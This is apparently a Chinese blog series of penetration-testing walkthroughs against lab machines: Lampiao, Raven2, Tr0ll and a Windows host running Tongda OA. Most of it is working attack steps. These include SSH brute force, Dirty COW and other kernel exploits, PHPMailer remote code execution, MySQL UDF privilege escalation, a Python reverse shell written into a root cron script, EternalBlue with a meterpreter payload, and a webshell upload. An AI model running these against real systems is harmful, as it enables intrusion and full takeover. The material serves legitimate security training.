Linux靶机练习

10 篇文章 0 订阅
10 篇文章 0 订阅

文章目录

第1次 Lampiao

1.信息收集

1.1 netdiscover扫描

安装好靶机之后,有个账户密码登录,但我们并不知道账户和密码,所以我们用kali进行扫描其ip地址

image-20220228095834169

用命令进行扫描

netdiscover

得到IP地址:

192.168.81.139

image-20220228100017088

1.2 namp扫描

命令如下:

第1次扫描

发现了2个端口,22和80

nmap -T4 -A -v 192.168.81.139

image-20220228101431628

image-20220228101745393

连接密码:

ssh-hostkey:
|   1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
|   2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
|   256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_  256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)

image-20220228101929405

第2次扫描

发现了3个端口,22、80和1898

nmap -p- -A -sV 192.168.81.139

image-20220228102443976

1.3 御剑扫描

扫描1898端口出来了信息

http://192.168.81.139:1898

image-20220228103159698

扫描的信息如下

http://192.168.81.139:1898/robots.txt
http://192.168.81.139:1898/includes/
http://192.168.81.139:1898/misc/
http://192.168.81.139:1898/index.php
http://192.168.81.139:1898/install.php

打开扫描到的文件

http://192.168.81.139:1898/robots.txt

可以看到下面文件中包含很多信息,并且含有路径信息,可以看到有一个更新日志文件

Disallow: /CHANGELOG.txt

打开这个文件

http://192.168.81.139:1898/CHANGELOG.txt

image-20220228104124413

robots.txt文件内容

#
# robots.txt
#
# This file is to prevent the crawling and indexing of certain parts
# of your site by web crawlers and spiders run by sites like Yahoo!
# and Google. By telling these "robots" where not to go on your site,
# you save bandwidth and server resources.
#
# This file will be ignored unless it is at the root of your host:
# Used:    http://example.com/robots.txt
# Ignored: http://example.com/site/robots.txt
#
# For more information about the robots.txt standard, see:
# http://www.robotstxt.org/robotstxt.html

User-agent: *
Crawl-delay: 10
# CSS, JS, Images
Allow: /misc/*.css$
Allow: /misc/*.css?
Allow: /misc/*.js$
Allow: /misc/*.js?
Allow: /misc/*.gif
Allow: /misc/*.jpg
Allow: /misc/*.jpeg
Allow: /misc/*.png
Allow: /modules/*.css$
Allow: /modules/*.css?
Allow: /modules/*.js$
Allow: /modules/*.js?
Allow: /modules/*.gif
Allow: /modules/*.jpg
Allow: /modules/*.jpeg
Allow: /modules/*.png
Allow: /profiles/*.css$
Allow: /profiles/*.css?
Allow: /profiles/*.js$
Allow: /profiles/*.js?
Allow: /profiles/*.gif
Allow: /profiles/*.jpg
Allow: /profiles/*.jpeg
Allow: /profiles/*.png
Allow: /themes/*.css$
Allow: /themes/*.css?
Allow: /themes/*.js$
Allow: /themes/*.js?
Allow: /themes/*.gif
Allow: /themes/*.jpg
Allow: /themes/*.jpeg
Allow: /themes/*.png
# Directories
Disallow: /includes/
Disallow: /misc/
Disallow: /modules/
Disallow: /profiles/
Disallow: /scripts/
Disallow: /themes/
# Files
Disallow: /CHANGELOG.txt
Disallow: /cron.php
Disallow: /INSTALL.mysql.txt
Disallow: /INSTALL.pgsql.txt
Disallow: /INSTALL.sqlite.txt
Disallow: /install.php
Disallow: /INSTALL.txt
Disallow: /LICENSE.txt
Disallow: /MAINTAINERS.txt
Disallow: /update.php
Disallow: /UPGRADE.txt
Disallow: /xmlrpc.php
# Paths (clean URLs)
Disallow: /admin/
Disallow: /comment/reply/
Disallow: /filter/tips/
Disallow: /node/add/
Disallow: /search/
Disallow: /user/register/
Disallow: /user/password/
Disallow: /user/login/
Disallow: /user/logout/
# Paths (no clean URLs)
Disallow: /?q=admin/
Disallow: /?q=comment/reply/
Disallow: /?q=filter/tips/
Disallow: /?q=node/add/
Disallow: /?q=search/
Disallow: /?q=user/password/
Disallow: /?q=user/register/
Disallow: /?q=user/login/
Disallow: /?q=user/logout/

打开登录网站

直接加端口号就进入了这个网站

http://192.168.81.139:1898/

image-20220228104400933

sql注入

未能成功

1'

image-20220228104838867

链接跳转

发现两处可以跳转

image-20220228105118926

node/1

跳转后的网址如下:

http://192.168.81.139:1898/?q=node/1

image-20220228105302109

node/3
http://192.168.81.139:1898/?q=node/3

发现有一个音频文件和一句话:Node 2 is not working

image-20220228105332634

打开音频文件

并未有任何有用的信息

http://192.168.81.139:1898/LuizGonzaga-LampiaoFalou.mp3
node/2

把node/3,改为node/2

得到一个音频文件和一个图片

http://192.168.81.139:1898/?q=node/2
audio.m4a
qrc.png

image-20220228110006085

打开音频文件

http://192.168.81.139:1898/audio.m4a

打开图片

http://192.168.81.139:1898/qrc.png

发效了一个二维码

扫描之后,发现信息如下:

Try harder!muahuahua

image-20220228110230126

2. 漏洞探测

2.1 利用cewl获取网站信息

利用cewl获取网站关键信息从而生成一个密码字典:

cewl http://192.168.81.139:1898 -w lampiao.txt

image-20220228111522755

hydra对用户密码进行爆破

利用hydra对用户tiago密码进行爆破:

hydra -l tiago -P lampiao.txt 192.168.81.139 ssh

得到账户密码:

login: tiago   
password: Virgulino

image-20220228112147921

2.2 ssh进行登录

利用ssh进行登录:

ssh tiago@192.168.81.139

根据提示输入

yes
Virgulino (这个就是密码)

image-20220228131442763

查看靶机信息:

uname -a

image-20220228131612586

3. 提权

3.1 利用脏牛提权

用Kali 自带的漏洞搜索有无能进行脏牛提权的shell:

searchsploit dirty

image-20220228132438851

开启临时服务器

  • 将40847.cpp文件复制到当前目录下
  • 并且利用 python2 -m SimpleHTTPServer 1234
  • 开启临时的建议服务器

注意事项

  • 因此使用Python2时要特别注明,
  • 如果没安装Python3则不用特殊注明,
  • Python3无法利用该方法开启简易服务器,
    • 另外,开启服务器后默认的访问目录
      • 为当前开启服务器的目录,
      • 即我在 ~/桌面 这个目录下,
      • 则在浏览器中访问的话则默认能看 ~/桌面 目录下的文件。

3.2 对40847文件的操作

查找40847.cpp文件

find / -name 40847.cpp

拷贝40847.cpp文件

把文件复制到要定义的服务目录下

cp /usr/share/exploitdb/exploits/linux/local/40847.cpp  /home/xxb1/

image-20220228134343291

使用下面命令时,要在

/home/xxb1/        目录下使用
python2 -m SimpleHTTPServer 1234 

image-20220228134318225

3.3 tiago用户下载40847.cpp文件

在刚才ssh登录的tiago用户的/tmp目录下下载40847.cpp文件:

wget http://192.168.81.131:1234/40847.cpp
#ip地址改为自己的kali的IP

image-20220228134454847

对40847.cpp文件进行编译:

g++ -O2 -std=c++11 -pthread -o 40847 40847.cpp -lutil

./40847   #这个是-o 后面的那个名字,可自定义

解释:

  • -O2 :表示编译器的优化选项,
  • -std=c++11:表示按照c++ 2011标准来编译,
  • -pthread :是指利用到多线程时需要用到的库(我也不知道为啥要加上这个参数,希望评论区有大神能指出)
  • -o name :中name表示生成的文件的名字

image-20220228135217088

3.4 获取root权限

获取到了root的密码:

dirtyCowFun

再利用ssh登录:

ssh root@192.168.81.139  

发现登陆后已经是root了

image-20220228135624966

找到flag.txt文件

内容如下:

9740616875908d91ddcdaa8aea3af366

image-20220228135759814

第2次 Raven2

1 信息搜集

1.1 获得ip地址

打开kali输入下面的命令

netdiscover

得到IP地址为

192.168.81.140

image-20220301142724658

1.2 nmap进行扫描

nmap -sS -sV -T5 -A -p- 192.168.81.140

可以看到有4个端口是开放的

PORT       STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)

80/tcp    open  http    Apache httpd 2.4.10 ((Debian))

111/tcp open  rpcbind 2-4 (RPC #100000)

36274/tcp open   status  1 (RPC #100024)

image-20220301143909989

1.3 御剑扫描

192.168.81.140

扫到了两个网址

http://192.168.81.140/index.html
http://192.168.81.140/manual

image-20220301144215154

第1个网址信息

http://192.168.81.140/index.html

image-20220301144406476

点击BLOG会跳转到新的网址

http://192.168.81.140/wordpress/

image-20220301145014020

跳转后的网页

image-20220301145048250

点击链接时出错,跳转后的地址

http://raven.local/wordpress/index.php/2018/08/12/hello-world/

细心一点可以发现这是域名解析的问题

  • url由我们输入的ip地址变成了raven.local
  • 我们需要做的是配置电脑的hosts文件
  • 使域名解析到192.168.81.140

image-20220301145250822

添加hosts文件项

在kali中输入下面命令进入编辑hosts文件中

vim /etc/hosts 

具体做法如下,中间使用tab

  • 按 i 进行编辑,编辑好之后
  • 按 esc 结束编辑
  • 按 :wq 保存并退出
192.168.81.140	raven.local

image-20220301145902344

利用kali自带的浏览器进行访问

可以正常访问

image-20220301151351317

1.4 扫描目录

扫描:http://raven.local/ 目录

扫过来很多目录

主要分为三个web信息目录

http://raven.local/manual/
http://raven.local/vendor/
http://raven.local/wordpress/

image-20220301152053855

1.4.1 http://raven.local/vendor/ 信息

image-20220301153151708

flag1

http://raven.local/vendor/PATH

image-20220301153416113

信息如下

/var/www/html/vendor/
flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

MD5码在线解码

https://www.somd5.com/

解码为:

Raven2Flag1

image-20220301153634262

1.4.2 PHPmailer邮件及版本

http://raven.local/vendor/README.md

http://raven.local/vendor/VERSION

得到版本为:5.2.16

image-20220301153838147

1.4.3 http://raven.local/wordpress/信息

http://raven.local/wordpress/

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SI8r5cjS-1648344144889)(https://gitee.com/xxb667/img/raw/master/img/image-20220301154009588.png)]

使用dirb扫描目录

dirb http://raven.local/wordpress/

image-20220301155249776

找到flag3

http://raven.local/wordpress/wp-content/uploads/

image-20220301155338339

点击2018文件夹,在里面可以找到一个flag3.png的图片

image-20220301155425654

http://raven.local/wordpress/wp-content/uploads/2018/11/flag3.png

得到的信息为:

flag3{a0f568aa9de277887f37730d71520d9b}

用MD5在线解码得

Raven2Flag3

image-20220301155736831

1.4.4 http://raven.local/manual/信息

http://raven.local/manual/

image-20220301155807177

Apache版本信息

  • Apache HTTP Server Version 2.4 Documentation

1.5 信息整理

IP:     192.168.81.140
端口:   22  80  111  36274
域名:   raven.local
--------------------------------------------------------------------------------------------
路径:
        http://raven.local/vendor/
        http://raven.local/wordpress/
        http://raven.local/manual/
--------------------------------------------------------------------------------------------
邮件:     PHPmailer 5.2.16
cms:      WordPress 4.8.7
数据库:   MySQL

web服务器:Apache 2.4.10

flag:

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}
MD5解码:Raven2Flag1

flag3{a0f568aa9de277887f37730d71520d9b}
MD5解码:Raven2Flag3

第2个网址信息

http://192.168.81.140/manual

image-20220301144519513

2. 漏洞探测

2.1 PHPmailer 5.2.16漏洞

  • 找到了CVE漏洞编号和漏洞介绍
  • 继续查找/vendor下文件中是否有可用信息
  • 在PATH中找到网站路径,
  • 可以得到网站绝对路径
    • /var/www/html
/var/www/html/vendor/

2.2 CVE-2016-10033远程代码执行漏洞

在网上查找了一下漏洞的利用方式,

  • 可以使用metasploit的漏洞模块
  • 也可以直接下载exploit库中的POC进行利用

漏洞利用需要的信息:

靶机ip、靶机端口、网站绝对路径、邮件发送页面

现在就差邮件发送的页面了,

  • 查找一下dirb扫描的结果没有
  • 使用大字典扫描路径
  • 并指定语言为php
dirb http://raven.local/ -X .php /usr/share/wordlists/dirb/big.txt

得到下面网址

http://raven.local/contact.php
http://raven.local/contact.php

image-20220301160707697

打开页面

1610627680_60003a609f97cbc67b4df.png!small?1610627680580

说明:

  • 网站绝对路径是http://raven.local所在路径,
  • 就是**/var/www/html**
  • 这样生成的xxx.php文件
  • 我们才可以通过http://raven.local/xxx.php进行访问
靶机ip:192.168.81.140

靶机端口:80

网站绝对路径:/var/www/html

邮件功能页面:/contact.php

wordpress网站漏洞探测

  • 在网上查阅关于wordpress4.8.7版本可使用的漏洞,
  • 找到了几个,但是需要登录后台之后才能利用,
  • 而我连用户名都不知道是什么!

转移视线,

  • 记得刚开始的时候我使用
  • nmap扫描到22端口是开启状态,
  • 并且得到版本号OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0),
  • 所以我搜索此版本存在的漏洞,
  • 发现了用户名枚举的漏洞

3 漏洞利用(反弹shell)

3.1 phpmailerCVE-2016-10033远程代码执行漏洞利用

metasploit

msfconsole

搜索phpmailer

search PHPmailer

image-20220301161846807

使用info id查看漏洞的适用版本

发现第0个适用(适用于5.2.19及以下版本phpmailer)

info 0

image-20220301162020929

3.2 MSF配置

1.配置信息

use 0
set RHOSTS 192.168.81.140
set TARGETURI /contact.php
set WEB_ROOT /var/www/html

运行

2.run,运行

  • 运行后会在/var/www/html/路径
  • 写入一个xxx.php文件
  • 文件内容的作用是
    • 反弹shell
    • 文件名是随机的

image-20220301162245206

image-20220301163037304

访问

3.把文件名复制到浏览器进行访问

访问之后下面metasploit会有动态显示【连接、删除后门】

http://raven.local/ii3NsUVr.php

3.3 获得shell权限

4.等待几分钟就能得到shell,www权限

  • 可以看到当前shell所在位置
  • 是/var/www/html/,
  • 并且此目录里面没有后门文件(已经自动删除)

1610634491_600054fb6f56ca1e28c22.png!small?1610634491652

反弹成功

image-20220301170151035

flag2

在/var/www路径下可以看到flag2.txt文件

flag2{6a8ed560f0b5358ecf844108048eb337}

MD5解码

Raven2Flag2

image-20220301170437267

查看信息

sysinfo
Computer    : Raven
OS          : Linux Raven 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64
Meterpreter : php/linux

image-20220301170726702

内核版本

Linux MiWiFi-R3A-srv 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64

1610634874_6000567ab717ff07e0aed.png!small?1610634874533

输入下面命令

shell

之后直接输入Linux命令即可

image-20220301190701047

在/var/www/目录找到flag2.txt

flag2{6a8ed560f0b5358ecf844108048eb337}

使用find查找flag文件

 find ./ -name "flag*"

image-20220301200327439

切换终端

使用python获得完整性shell

python -c 'import pty; pty.spawn("/bin/bash")'

image-20220301190836418

获得MySQL账号密码

没有在网上找到可以利用的内核提权脚本,这里继续进行信息搜集

在/var/www/html/wordpress/wp-config.php中发现mysql数据库密码

账户:root
密码:R@v3nSecurity

image-20220301171701565

cat wp-config.php

登录MySQL

登录mysql服务,进行信息搜集

mysql -uroot -pR@v3nSecurity

image-20220301191000126

显示所有数据库信息

show databases;

image-20220301191103546

查看wordpress数据库

use wordpress;
select version();

image-20220301191507062

show tables;
select * form wp_users;

image-20220301191807967

版本:mysql 5.5.60-0+deb8u1

数据库:wordpress

用户名:

michael $P$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0

steven $P$B6X3H3ykawf2oHuPsbjQiih5iJXqad.

查看mysql的运行权限

ps -aux|grep mysql

image-20220301191948665

MySQL以root身份运行,通过MySQL提权

3.4 提权 mysql udf

  • 因为mysql版本>=5.1
  • 所以必须把 UDF 的动态链接库.so文件
  • 放置于 MySQL 安装目录下的 lib\plugin 文件夹下
  • 才能创建自定义函数

查看插件所在路径

show variables like '%plugin%';

可以查看到路径在

/usr/lib/mysql/plugin/

image-20220301192406726

使用metasploit自带的动态链接库

说明:

  • 这里也可以使用exploit中的poc脚本进行生成,
  • 脚本链接
  • 也可以直接在kali里面搜索这个POC
searchsploit 1518

image-20220301192654254

编译生成so文件
gcc -g -shared -Wl,-soname,udf.so -o udf.so 1518.c -lc
-g 生成调试信息
-shared 创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件

-Wl选项告诉编译器将后面的参数传递给链接器。

-soname则指定了动态库的soname(简单共享名,Short for shared object name)

soname的关键功能是它提供了兼容性的标准:

当要升级系统中的一个库时,并且新库的soname和老库的soname一样,用旧库链接生成的程序使用新库依然能正常运行。这个特性使得在Linux下,升级使得共享库的程序和定位错误变得十分容易。-o 生成的文件
-lc -l 库 c库名

注意:mysql的动态链接库是加密过的,需要解密才能使用。搜索一下metasploit动态链接库文件在哪里

寻找动态链接库

locate metasploit-framework|grep data/exploits/mysql

这里要使用lib_mysqludf_sys_64.so

/usr/share/metasploit-framework/data/exploits/mysql
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.dll
/usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so

image-20220301192926735

3.5 下载动态链接库到靶机

  • 拷贝到桌面
  • 使用python搭建http服务
  • 使用shell下载到靶机

使用的命令

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so /home/xxb1/桌面  #复制到桌面

python3 -m http.server 8000  #开启临时http服务

image-20220301193724655

shell里面的操作

wget http://192.168.81.131:8000/lib_mysqludf_sys_64.so

image-20220301193840076

执行sql语句

进入mysql数据库

use mysql;

创建数据表myfunc

create table myfunc(line raw);

插入数据

插入load_file读取的lib_mysqludf_sys_64.so‘’二进制‘’数据

insert into myfunc values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));

image-20220301194244456

导出文件

使用dumpfile函数把文件导出

  • outfile 多行导出,dumpfile一行导出
  • outfile会有特殊的转换,而dumpfile是原数据导出
select * from myfunc into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';

image-20220301194351030

使用sys_exec 函数

create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';

image-20220301194644341

查询一下添加的函数

select * from mysql.func;

image-20220301194737868

改变find命令权限

利用自定义函数改变find命令权限

select sys_exec('chmod u+s /usr/bin/find');

image-20220301194947948

4. 提权

4.1 使用find命令提权

  • 退出数据库
    • 新建一个文件hello
  • 使用find命令查找这个文件
  • 并使用find命令执行shell命令
    • find执行shell命令后
    • 可以看到已经提升到root权限了
  • 读取flag文件
touch hello   #创建hello文件
id
find hello -exec "/bin/sh" \;
whoami
cd /root
ls
cat flag4.txt

image-20220301195531644

4.2 flag4文件

flag4{df2bc5e951d91581467bb9a2a8ff4425}

第3次 Tr0ll

1.信息搜集

1.1主机发现

在kali里面输入

netdiscover -r 192.168.81.0/24

image-20220304204757942

1.2端口扫描

输入命令

nmap命令:

nmap -sS -sV -T5 -A -p- 192.168.81.141

得到开放的3个端口:21、22和80端口

image-20220304205142036

3.用御剑进行扫描

得到两个网址

http://192.168.81.141/robots.txt
http://192.168.81.141/index.html

image-20220304205251653

http://192.168.81.141/robots.txt

里面的内容为

User-agent:*
Disallow: /secret
http://192.168.81.141/index.html

image-20220304205500229

2.漏洞探测

由于在上面的两个网址中并未找到有价值的信息

所以我们利用21端口的ftp协议漏洞

2.1 ftp登录

FTP匿名登录 一般有3种:

  1. 用户名:anonymous 密码:Email或为空
  2. 用户名:FTP 密码:FTP或为空
  3. 用户名:USER 密码:pass
ftp> user anonymous
密码: 空

image-20220304213045646

MSF扫描:

msfconsole
search ftp_version
use 0
options
set rhosts 192.168.81.141
run

扫描到的信息如下

[+] 192.168.81.141:21     - FTP Banner: '220 (vsFTPd 3.0.2)\x0d\x0a'
[*] 192.168.81.141:21     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

image-20220304212314633

2.2进入ftp

ftp 192.168.81.141
输入自己的kali密码即可进入

image-20220304212917070

2.3 ftp中的操作

ls

image-20220304213718143

下载这个文件(这个文件被下载到了对应终端的目录下)

get lol.pcap

image-20220304213814744

在kali里面找到对应打开的终端位置

然后双击打开这个文件

lol.pcap

image-20220304214714249

然后找到

FTP/DA

image-20220304215328461

成功发现一个目录

sup3rs3cr3tdirlol

打开网址

http://192.168.81.141/sup3rs3cr3tdirlol/

image-20220304215720242

下载roflmao 放在kali里面

file roflmao

里面的内容

roflmao: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=5e14420eaa59e599c2f508490483d959f3d2cf4f, not stripped

image-20220304220229439

运行:

chmod +x roflmao
./roflmao

image-20220304220417096

得到的内容

Find address 0x0856BF to proceed 
http://192.168.81.141/0x0856BF/

image-20220304220605794

进入good_lunk文件夹里面的文件内容:

image-20220304220807070

which_one_lol.txt

maleus
ps-aux
felux
Eagle11
genphlux < -- Definitely not this one
usmc8892
blawrg
wytshadow
vis1t0r
overflow

Pass.txt里面的内容:

Good_job_:)

3.getshell

把可能的用户名制作成字典 hydra爆破

hydra -L user.txt -P pass.txt ssh://192.168.81.141 -w 10

ssh连接服务器

ssh overflow@192.168.81.141 
#输入密码  Pass.txt登录

image-20220304221234023

uname -a   #找到对应的版本

查看定时任务日志:

cat /var/log/cronlog
*/2 * * * * cleaner.py

image-20220304223537250

附录:

1、/var/log/boot.log

记录了系统在引导过程中发生的事件,就是Linux系统开机自检过程显示的信息

2、/var/log/cron

与定时任务相关的日志信息

3、/var/log/lastlog

记录了系统上所有帐号最近一次登入系统时的相关信息。lastlog命令就是利用这个文件所记录的信息来显示结果

4、/var/log/maillog

记录邮件的来往信息,其实主要记录SMTP和POP3(IMAP)协议提供者所产生的信息

5、/var/log/messages or /var/log/syslog

记录了系统发生的所有错误信息(或者是重要的信息),所以这个文件相当重要;如果系统发生莫名的错误时,这个文件是必查的日志文件之一。(基于 Debian 的系统如 Ubuntu 在 /var/log/syslog 中存储它们,而基于 RedHat 的系统如 RHEL 或 CentOS 则在 /var/log/messages 中存储它们)

6、/var/log/secure

一般用来记录安全相关的信息,记录用户和工作组变换情况、用户登陆认证情况

7、/var/log/wtmp 

该日志文件永久记录每个用户登录、注销及系统的启动、停机的事件,使用last命令查看

8、/var/log/btmp

记录Linux登陆失败的用户、时间以及远程IP地址

9、/var/run/utmp

该日志文件记录有关当前登录的每个用户的信息。如 who、w、users、finger等就需要访问这个文件

补充常见中间件的日志位置:

1、apache的日志路径一般配置在httpd.conf的目录下或者位于/var/log/http

2、IIS的日志默认在系统目录下的Logfiles下的目录当中

3、tomcat 一般位于tomcat安装目录下的一个logs文件夹下面

4、Nginx日志一般配置在nginx.conf或者vhost的conf文件中日志一般以日期命名,方便后续审计与安全人员进行分析


#查看日志常用命令
    tail:  
       -n  是显示行号;相当于nl命令;例子如下:
            tail -100f test.log      实时监控100行日志
            tail  -n  10  test.log   查询日志尾部最后10行的日志;

​            tail -n +10 test.log    查询10行之后的所有日志;

​    head:  

​        跟tail是相反的,tail是看后多少行日志;例子如下:

​            head -n 10  test.log   查询日志文件中的头10行日志;

​            head -n -10  test.log   查询日志文件除了最后10行的其他所有日志;

​    cat: 

​        tac是倒序查看,是cat单词反写;例子如下:

​            cat -n test.log |grep "debug"   查询关键字的日志

 

2. 应用场景一:按行号查看---过滤出关键字附近的日志

   1)cat -n test.log |grep "debug"  得到关键日志的行号

   2)cat -n test.log |tail -n +92|head -n 20  选择关键字所在的中间一行. 然后查看这个关键字前10行和后10行的日志:

   ​       tail -n +92表示查询92行之后的日志

   ​       head -n 20 则表示在前面的查询结果里再查前20条记录

 

3. 应用场景二:根据日期查询日志

   sed -n '/2014-12-17 16:17:20/,/2014-12-17 16:17:36/p'  test.log

   特别说明:上面的两个日期必须是日志中打印出来的日志,否则无效;

   ​                先 grep '2014-12-17 16:17:20' test.log 来确定日志中是否有该 时间点

 

4.应用场景三:日志内容特别多,打印在屏幕上不方便查看
    (1)使用more和less命令,

​           如: cat -n test.log |grep "debug" |more     这样就分页打印了,通过点击空格键翻页

​    (2)使用 >xxx.txt 将其保存到文件中,到时可以拉下这个文件分析

​            如:cat -n test.log |grep "debug"  >debug.txt

寻找脚本:cleaner.py

find -name cleaner.py  2>/dev/null   #忽略掉错误提示信息

image-20220304221500720

查看文件:

cat /lib/log/cleaner.py

image-20220304223622510

里面的内容

#!/usr/bin/env python
import os
import sys
try:
        os.system('rm -r /tmp/* ')
except:
        sys.exit()

注意:

  • 这个并不是把我们踢出的脚本
  • 功能只是删除/tmp 目录里面的文件
  • 计划任务一般情况是root权限运行
  • 不过我们可以借助它反弹root权限的shell
  • 就是把里面的内容修改为我们的反弹shell

3.1 python建立反弹shell脚本

各种类型的反弹shell在线生成https://shell.nctry.com/

'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.81.141",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

image-20220304222622360

!/usr/bin/env python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.81.141",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

由于我们不能直接编辑cleaner.py这个脚本,用echo命令把代码加到cleaner.py里面。

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.81.141",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")' > /lib/log/cleaner.py

image-20220304223650698

3.2Getshell:

kali开启监听:

nc -lvnp 5555

稍等1分钟左右就可以接收到反弹的shell

image-20220304224722372

4.提权

内核版本为3.1.3 kalisearchsploit ubuntu 可以内核提权

kali启动服务器:

 cp  /usr/share/exploitdb/exploits/linux/local/37292.c .
 python -m http.server 80
cp  /usr/share/exploitdb/exploits/linux/local/37292.c /home/xxb1
python2 -m SimpleHTTPServer 1234 

image-20220304225223820

下载

目标机器:执行下载,下载到tmp目录下

cd /tmp
wget http://192.168.81.131:1234/37292.c
cc 37292.c
./a.out
whoami

image-20220305231007988

image-20220305231242887

看下脚本内容:

crontab -l
cat /opt/lmao.py

image-20220305231322937

image-20220305231352026

第4次 服务器 192.168.1.19

1.信息搜集

1.1御剑扫描

192.168.1.19

扫描到1个文件和1个网页:

http://192.168.1.19/robots.txt
http://192.168.1.19/index.php

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Bw2FdMCv-1648344144945)(C:/Users/18393/AppData/Roaming/Typora/typora-user-images/image-20220307154535082.png)]

1.2 nmap扫描

nmap -T4 -A -v 192.168.1.19

发现有4个端口是开放的

80
135
139
445

image-20220307155730913

nmap -sS -sV -T5 -A -p- 192.168.1.19

虽然多扫到了一个端口,但是,端口未开放

image-20220307160008705

image-20220307160219244

1.3 kali扫描

masscan扫描快速扫描端口

masscan 192.168.1.21 -p  1-65535 --rate=1000

开放端口为:139 445 135 5357 80

image-20220309135238727

1.4 服务识别

80, 5357端口:是http服务,我们要在浏览器打开看下。

139端口:是用于网络共享的端口,

  • 只有当一台计算机开放了TCP139端口时别的计算机才能访问其上的共享文件。
  • 但是在Windows 2000/ NT/ XP中,TCP139端口还有一个重要的作用:
  • 远程管理连接(IPC , A d m i n ,Admin ,Admin),这是微软为了方便管理员对远程计算机的管理而特意设置的。
  • 为了能够成功地建立IPC$(远程管理)连接,你需要管理员的用户名和密码,只要我们得到了远程计算机的密码,再通过139端口进行IPC$连接,我们就完全控制了远程的计算机。
  • ------攻击方向暴力破解

445端口: 看到Windows 7 和 445端口 就想到永恒之蓝漏洞 ms17-010

2.漏洞探测

80端口 为通达OA

5357端口 打不开

2.1 网址

http://192.168.1.19/index.php

进入刚才扫描的网页中

发现有个登录窗口

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-SQpUfS4E-1648344144949)(https://gitee.com/xxb667/img/raw/master/img/image-20220307160355079.png)]

随意试了一个进去了

admin
密码为空

登陆后的网址为下面:

http://192.168.1.19/general/index.php?isIE=0&modify_pwd=0

image-20220307163615418

http://192.168.1.19/general/MYOA/logs/oa

用御剑扫描目录

http://192.168.1.19/general

得到下面目录:

http://192.168.1.19/general/bbs/
http://192.168.1.19/general/sms/
http://192.168.1.19/general/search.php
http://192.168.1.19/general/index.php
http://192.168.1.19/general/pass.php

image-20220307164336056

http://192.168.1.19/general/bbs/

image-20220307164724429

http://192.168.1.19/general/sms/

image-20220307164753728

http://192.168.1.19/general/search.php
[ { "id": "chenchangliu", "label": "陈长流", "value": "陈长流" }, { "id": "chenfeifei", "label": "陈飞飞", "value": "陈飞飞" }, { "id": "chenqiang", "label": "陈强", "value": "陈强" }, { "id": "liumingcai", "label": "刘明才", "value": "刘明才" }, { "id": "naideshi", "label": "念得失", "value": "念得失" }, { "id": "wangwu", "label": "王舞", "value": "王舞" }, { "id": "wuhai", "label": "吴海", "value": "吴海" }, { "id": "yinyunfei", "label": "伊云飞", "value": "伊云飞" }, { "id": "zhangshan", "label": "张山", "value": "张山" }, { "id": "changbai", "label": "常白", "value": "常白" }, { "id": "__SEARCH_HELP__", "label": "搜索在线帮助", "value": "" } ]
http://192.168.1.19/general/pass.php

image-20220307164858398

2.2 通达OA版本识别

http://192.168.1.21/inc/expired.php
  • 通达OA 漏洞非常多,
  • 漏洞探测可以直接搜对应的版本号相关的漏洞
  • 例如
    • 通达OA11.3漏洞利用
    • 或者找对应的工具直接getshell

image-20220309135638658

2.3 永恒之蓝探测

直接metasploit 扫描,发现存在漏洞 这里就不展示永恒之蓝了

msfconsole
search ms17-010  #查找模块
use 0
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.1.21
run

image-20220309142737544

查看系统信息

sysinfo

image-20220309145117522

2.4 通达OA getshell

漏洞比较多 我们用工具直接getshell

找到工具里面的.jar应用

获取不到cookie 就手动填入, 选择文件包含getshell 一键利用

目标地址输入下面地址

http://192.168.1.21/

image-20220309150532633

蚁剑连接

URL地址:http://192.168.1.21/hXSVhpo.php
密码:x

image-20220309150735875

whoami

image-20220309150926896

3.后渗透阶段-信息收集

3.1内网信息收集

辨别当前用户是本地用户还是域用户?

ipconfig /all命令 如果DNS地址是域名 肯定是域环境

ipconfig
honstname  
whoami

image-20220309152017074

image-20220309151316982

得到两个网卡信息:

网卡1:192.168.1.21
网卡2:10.0.20.98
非域环境

3.2 msfvenom 生成木马 获取shell

同时可以联动CS

